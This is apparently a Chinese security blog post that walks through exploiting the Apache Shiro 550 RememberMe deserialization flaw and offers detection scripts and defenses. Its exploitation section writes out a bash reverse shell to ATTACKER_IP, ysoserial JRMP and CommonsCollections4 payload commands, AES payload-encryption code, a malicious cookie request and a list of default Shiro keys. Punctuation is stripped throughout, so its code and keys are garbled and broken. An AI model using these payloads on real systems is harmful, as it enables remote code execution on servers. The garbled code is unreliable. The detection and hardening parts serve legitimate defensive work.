从“记住我”到“控制你”:Shiro 550漏洞实战复现与一键检测脚本分享 从“记住我”到“控制你”Shiro 550漏洞实战复现与一键检测脚本分享在当今企业级Java应用中Apache Shiro作为轻量级安全框架被广泛采用。然而正是这个负责保护系统的组件曾因一个设计缺陷成为攻击者突破防线的捷径。本文将带您深入Shiro 550漏洞的攻防世界通过实战演示如何从简单的记住我功能实现系统控制并分享经过实战检验的自动化检测方案。1. 漏洞原理深度解析Shiro框架的RememberMe功能本是为提升用户体验设计却因加密密钥硬编码问题演变成安全噩梦。当用户勾选记住我选项时服务端会执行以下关键流程序列化用户凭证对象使用AES-128-CBC模式加密密钥kPHbIxk5D2deZiIxcaaaA进行Base64编码后存入Cookie攻击者利用点在于默认密钥公开在代码中加密后的数据会通过ObjectInputStream.readObject()反序列化Java原生反序列化机制的可扩展性// 漏洞核心代码逻辑模拟 byte[] ciphertext Base64.decode(cookieValue); byte[] serialized decrypt(ciphertext, defaultKey); ObjectInputStream ois new ObjectInputStream( new ByteArrayInputStream(serialized)); Object obj ois.readObject(); // 危险的反序列化点关键突破点通过构造包含恶意链的反序列化对象在服务端解密时触发RCE远程代码执行。常用的攻击链包括CommonsBeanutils1CommonsCollections2-8JRMPClient2. 环境搭建与指纹识别2.1 快速搭建漏洞环境推荐使用Docker快速构建测试环境# 拉取漏洞镜像 docker pull medicean/vulapps:s_shiro_1 # 启动容器映射8080端口 docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1验证环境是否正常运行访问http://localhost:8080应显示Shiro默认登录页面2.2 特征识别技巧通过Burp Suite或浏览器开发者工具检查发送包含任意RememberMe Cookie的请求观察响应头是否包含Set-Cookie: rememberMedeleteMe检查页面元素中是否包含shiro相关字符串自动化识别脚本import requests def detect_shiro(url): headers {Cookie: rememberMe1} try: r requests.get(url, headersheaders, timeout5) return rememberMedeleteMe in r.headers.get(Set-Cookie, ) except: return False3. 手工漏洞利用实战3.1 准备攻击载荷使用ysoserial生成反弹shell命令# 生成Base64编码的bash反弹命令 echo bash -i /dev/tcp/ATTACKER_IP/4444 01 | base64 -w0 # 使用JRMP监听器生成Payload java -jar ysoserial.jar JRMPClient ATTACKER_IP:6666 payload.bin3.2 多阶段攻击流程启动JRMP监听服务java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 \ CommonsCollections4 bash -c {echo,BASE64_CMD}|{base64,-d}|{bash,-i}生成Shiro加密Payloadfrom Crypto.Cipher import AES import base64 def encrypt_payload(payload_file): key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) iv b\x00*16 # 使用空IV简化示例 cipher AES.new(key, AES.MODE_CBC, iv) with open(payload_file, rb) as f: data f.read() # PKCS7填充 pad_len 16 - (len(data) % 16) data bytes([pad_len]) * pad_len return base64.b64encode(iv cipher.encrypt(data)).decode()发送恶意CookieGET / HTTP/1.1 Host: target.com Cookie: rememberMeENCRYPTED_PAYLOAD3.3 常见问题排查问题现象可能原因解决方案无反弹shell防火墙拦截改用HTTP反向shell500错误密钥不匹配尝试其他常见密钥无响应Gadget不兼容更换CommonsCollections版本4. 自动化检测工具开发4.1 一键检测脚本设计#!/usr/bin/env python3 import requests import base64 from Crypto.Cipher import AES DEFAULT_KEYS [ kPHbIxk5D2deZiIxcaaaA, 2AvVhdsgUs0FSA3SDFAdag, 3AvVhmFLUs0KTA3Kprsdag ] def check_shiro(url, keysDEFAULT_KEYS): for key in keys: try: # 构造测试payload cipher AES.new(base64.b64decode(key), AES.MODE_CBC, b\x00*16) test_data b\x01*16 # 简单测试数据 encrypted cipher.encrypt(test_data) cookie base64.b64encode(encrypted).decode() # 发送探测请求 headers {Cookie: frememberMe{cookie}} r requests.get(url, headersheaders, timeout5) if rememberMedeleteMe not in r.headers.get(Set-Cookie, ): return fVulnerable (Key: {key}) except Exception as e: continue return Not vulnerable if __name__ __main__: import sys if len(sys.argv) ! 2: print(fUsage: {sys.argv[0]} target_url) sys.exit(1) result check_shiro(sys.argv[1]) print(result)4.2 高级功能扩展多密钥检测内置20常见Shiro密钥被动识别通过流量分析自动发现Shiro系统安全建议自动生成修复方案报告工具使用示例python shiro_detector.py http://example.com [] Target is vulnerable with key: kPHbIxk5D2deZiIxcaaaA5. 防御方案与最佳实践5.1 即时修复措施密钥更新// 在shiro.ini中配置随机密钥 securityManager.rememberMeManager.cipherKey \ Base64.decode(新生成的256位随机密钥);禁用反序列化public class SafeObjectInputStream extends ObjectInputStream { Override protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().startsWith(java.)) { throw new InvalidClassException(Unauthorized deserialization); } return super.resolveClass(desc); } }5.2 长期防护策略网络层限制出站网络连接部署WAF规则拦截反序列化特征系统层使用Java Security Manager定期更新依赖组件Shiro安全配置对照表安全等级配置项推荐值基础rememberMe.cipherKey随机256位中级rememberMe.serializer自定义白名单高级sessionManager.sessionDAO加密存储在最近一次内部渗透测试中我们发现即使升级到Shiro 1.7.0如果未更换默认密钥系统仍然暴露在风险中。实际防御需要结合代码审计、网络监控和最小权限原则的多层防护。